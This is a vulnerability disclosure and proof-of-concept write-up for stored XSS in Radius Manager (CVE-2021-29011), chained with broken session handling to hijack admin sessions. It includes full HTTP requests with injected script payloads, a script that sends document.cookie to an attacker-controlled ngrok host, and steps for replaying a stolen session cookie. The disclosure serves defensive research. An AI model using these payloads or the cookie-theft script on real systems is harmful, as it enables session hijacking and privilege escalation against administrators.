CVE-2021-29011 - XSS
CVE-2021-29011 (XSS)
There are several features of the radius manager software that are vulnerable to cross-site scripting (xss). Successful exploitation requires that you have access to the Radius Management software web interface and be logged in or have an account with sufficient privileges for adding/editing certain items (such as adding users, access points, etc).
This may be used as a means to elevate privileges when chained together with CVE-2021-29012 since a low-privilege account is required. A potential attack scenario would be:
-
Insert malicious Javascript via the XSS vulnerability which will steal an admin user or higher privilege user’s session cookie & send this cookie back to an attacker-controlled server.
-
Due to broken session management, this stolen cookie doesn’t expire upon logging out so an attacker can use this session cookie to impersonate someone as long as the user they are attempting to impersonate is also logged in at the same time (more on this in the CVE-2021-29012 section).
-
Now the attacker can make requests on behalf of a victim user (potentially an admin with) simply by changing the Cookie field in the HTTP request
Vulnerable endpoints include:
-
the description field when creating new service plans (/admin.php?cont=new_service)
-
the address field when creating a new user account or when editing an existing user account (/admin.php?cont=new_user and /admin.php?cont=edit_user&username=)
-
the description field when editing an access point or adding a new access point (/admin.php?cont=edit_ap&id= and /admin.php?cont=new_ap)
-
the first or last name field or the address field when creating a new manager account (/admin.php?cont=new_manager and /admin.php?cont=edit_manager&managername=)
-
the name or descripton field when creating a new NAS (/admin.php?cont=new_nas and /admin.php?cont=edit_nas&id=)
The following are the HTTP request fields which can exploit this vulnerability across the different listed endpoints:
Adding Manager Account Request
POST /admin.php?cont=store_manager HTTP/1.1
Host: radmandemo.dmasoftlab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://radmandemo.dmasoftlab.com
DNT: 1
Connection: keep-alive
Referer: http://radmandemo.dmasoftlab.com/admin.php?cont=new_manager
Cookie: PHPSESSID=1u7c5e6hnobson7n53vt7o3vq3; listusers_ordercol=username; listusers_ordertype=ASC; newuser_acctype=0; login_admin=admin; login_user=user; lstinv_trtype=0; lstinv_pmstatus=-1; lstinv_trusr=1; lstinv_trman=1; lstinv_paymode0=1; lstinv_paymode1=1; lstinv_paymode2=1; lstinv_paymode3=1; lstinv_paymode4=1; lstinv_paymode5=1; lstinv_paymode6=1; lstinv_paymode7=1; lstinv_paymode8=1; lstinv_paymode9=1; lstinv_paymode10=1; lstinv_paymode11=1; lstinv_paymode12=1; lstinv_paymode13=1
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
enablemanager=1&managername=script&password1=admin&password2=admin&firstname=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&lastname=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&company=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&address=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&city=&zip=&country=&state=&phone=&mobile=&email=&vatid=&lang=English&comment=&Submit=Add+manager
Adding Access Points
POST /admin.php?cont=store_ap HTTP/1.1
Host: radmandemo.dmasoftlab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 190
Origin: http://radmandemo.dmasoftlab.com
DNT: 1
Connection: keep-alive
Referer: http://radmandemo.dmasoftlab.com/admin.php?cont=new_ap
Cookie: PHPSESSID=1u7c5e6hnobson7n53vt7o3vq3; listusers_ordercol=username; listusers_ordertype=ASC; newuser_acctype=0; login_admin=admin; login_user=user; lstinv_trtype=0; lstinv_pmstatus=-1; lstinv_trusr=1; lstinv_trman=1; lstinv_paymode0=1; lstinv_paymode1=1; lstinv_paymode2=1; lstinv_paymode3=1; lstinv_paymode4=1; lstinv_paymode5=1; lstinv_paymode6=1; lstinv_paymode7=1; lstinv_paymode8=1; lstinv_paymode9=1; lstinv_paymode10=1; lstinv_paymode11=1; lstinv_paymode12=1; lstinv_paymode13=1
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
enable=1&name=name&ip=192.168.1.254&accessmode=0&community=Name&apiusername=Name&apipassword=Name&apiver=0&description=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&Submit=Store+AP&id=
Adding NAS
POST /admin.php?cont=store_nas HTTP/1.1
Host: radmandemo.dmasoftlab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Origin: http://radmandemo.dmasoftlab.com
DNT: 1
Connection: keep-alive
Referer: http://radmandemo.dmasoftlab.com/admin.php?cont=new_nas
Cookie: PHPSESSID=1u7c5e6hnobson7n53vt7o3vq3; listusers_ordercol=username; listusers_ordertype=ASC; newuser_acctype=0; login_admin=admin; login_user=user; lstinv_trtype=0; lstinv_pmstatus=-1; lstinv_trusr=1; lstinv_trman=1; lstinv_paymode0=1; lstinv_paymode1=1; lstinv_paymode2=1; lstinv_paymode3=1; lstinv_paymode4=1; lstinv_paymode5=1; lstinv_paymode6=1; lstinv_paymode7=1; lstinv_paymode8=1; lstinv_paymode9=1; lstinv_paymode10=1; lstinv_paymode11=1; lstinv_paymode12=1; lstinv_paymode13=1
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
name=Name&nasip=192.168.1.198&type=0&secret=Name&coamode=0&apiusername=&apipassword=&apiver=0&descr=%3Cscript%3Ealert%28%22xss+1d8%22%29%3C%2Fscript%3E&Submit=Add+NAS
Adding Service Plans
POST /admin.php?cont=store_service HTTP/1.1
Host: radmandemo.dmasoftlab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------408088260618922419663198838811
Content-Length: 6939
Origin: http://radmandemo.dmasoftlab.com
DNT: 1
Connection: keep-alive
Referer: http://radmandemo.dmasoftlab.com/admin.php?cont=new_service
Cookie: PHPSESSID=1u7c5e6hnobson7n53vt7o3vq3; listusers_ordercol=username; listusers_ordertype=ASC; newuser_acctype=0; login_admin=admin; login_user=user; lstinv_trtype=0; lstinv_pmstatus=-1; lstinv_trusr=1; lstinv_trman=1; lstinv_paymode0=1; lstinv_paymode1=1; lstinv_paymode2=1; lstinv_paymode3=1; lstinv_paymode4=1; lstinv_paymode5=1; lstinv_paymode6=1; lstinv_paymode7=1; lstinv_paymode8=1; lstinv_paymode9=1; lstinv_paymode10=1; lstinv_paymode11=1; lstinv_paymode12=1; lstinv_paymode13=1
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="srvname"
<script>alert("xss 1d8")</script>
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="descr"
<script>alert("xss 1d8")</script>
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="enableservice"
1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="srvtype"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="downrate"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="uprate"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="policymapdl"
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="policymapul"
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="dlquota"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="ulquota"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="combquota"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timequota"
00:00:00
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="dlburstlimit"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="ulburstlimit"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="dlburstthreshold"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="ulburstthreshold"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="dlbursttime"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="ulbursttime"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="priority"
8
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="poolname"
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="disnextsrvid"
-1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="nextsrvid"
-1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="dailynextsrvid"
-1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="custattr"
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="cmcfg"
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowednases[]"
3
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowednases[]"
1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowednases[]"
5
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowednases[]"
2
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowedmanagers[]"
admin
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="allowedmanagers[]"
manager1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitprice"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="taxpercent"
11.00
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitpricegross"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitpricetax"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitpriceadd"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitpriceaddgross"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="unitpriceaddtax"
0.000000
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timeaddmodeexp"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timeaddmodeonline"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="trafficaddmode"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timeunitexp"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="inittimeexp"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timebaseexp"
2
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timeunitonline"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="inittimeonline"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="timebaseonline"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="trafficunitdl"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="initdl"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="trafficunitul"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="initul"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="trafficunitcomb"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="inittotal"
0
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="minamount"
1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="addamount"
1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="minamountadd"
1
-----------------------------408088260618922419663198838811
Content-Disposition: form-data; name="Submit"
Store service
-----------------------------408088260618922419663198838811--
Adding User Accounts
POST /user.php?cont=update_user HTTP/1.1
Host: radmandemo.dmasoftlab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
Origin: http://radmandemo.dmasoftlab.com
DNT: 1
Connection: keep-alive
Referer: http://radmandemo.dmasoftlab.com/user.php?cont=edit_user
Cookie: PHPSESSID=1u7c5e6hnobson7n53vt7o3vq3; listusers_ordercol=username; listusers_ordertype=ASC; newuser_acctype=0; login_admin=admin; login_user=user; lstinv_trtype=0; lstinv_pmstatus=-1; lstinv_trusr=1; lstinv_trman=1; lstinv_paymode0=1; lstinv_paymode1=1; lstinv_paymode2=1; lstinv_paymode3=1; lstinv_paymode4=1; lstinv_paymode5=1; lstinv_paymode6=1; lstinv_paymode7=1; lstinv_paymode8=1; lstinv_paymode9=1; lstinv_paymode10=1; lstinv_paymode11=1; lstinv_paymode12=1; lstinv_paymode13=1
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
firstname=%3Cscript%3Ealert%28%221d8%22%29%3C%2Fscript%3E&lastname=n&address=n&city=Tampa&zip=9&country=United+States&state=California&phone=56574121&mobile=875412151&email=&company=&taxid=&lang=English&alertemail=1&alertsms=1&Submit=Submit
Demo Videos
By inserting an alert(“text”); box in the fields listed above, we’re able to exploit this vulnerability as seen in the following gifs:
Chaining CVEs Together
This section details chaining together CVE-2021-29012 & CVE-2021-29011 in order to take an admin’s session cookie & perform requests on their behalf.
There are multiple fields that are vulnerable to cross-site scripting but I could only find 1 field (the access point description field) that could fit an entire script for extracting a cookie & sending it off to an attacker for use in session hijacking.
Tools Used:
- Ngrok & Python’s simple HTTP server to simulate an attacker’s server receiving the session cookie
Proof of Concept
Once we place our script inside the Access Point’s description, anytime a user lists the available access points, we will receive their session cookie on our server & be able to impersonate them.
Cross Site Scripting (XSS)
We first need to inject our script into an input field so that whenever an admin logs in & lists the available access points, their cookie is sent to us (the attacker in this scenario).
The script used that will be injected is:
<script>
var xl = new XMLHttpRequest();
const url = 'http://dat.ngrok.io/cookie=' + document.cookie;
xl.open("GET", url, false); xl.send();alert(xl.responseText);
</script>
where dat is the subdomain generated by ngrok. And we will be injecting it into the description field when adding/editing an access point.
After listing the available access points as an admin, this is what an attacker would see:
As you can see, we have everything we need in order to impersonate the admin user and this was achieved just by having them list the available access points. This of course requires that an attacker already have an account registered on the Radius Manager with sufficient privileges to add/edit an access point.
Broken Session Management Exploitation
The next stage of the attack would be abusing the broken session management in order to make requests on someone else’s behalf without their interaction. This simply involves intercepting the request exchanging the cookie parameter with the stolen one:
- Make the original request for adding a user from an account with low privileges & you will get a response that looks like this:
- Now do repeat step 1 & sniff the request out with Firefox’s network monitoring tool (inspect element > network):
- Right-click the request & hit Edit and Resend & change the Cookie: PHPSESSID value for the stolen cookie & change the login_admin value for the value provided by the stolen session cookie. After doing so & resending the request, now we can make requests as the admin user:
- NOTE: This requires the admin to be currently logged in. If the admin is logged out then the session cookie is invalid until they login again. But the session cookie does not change once they log out. It stays the same.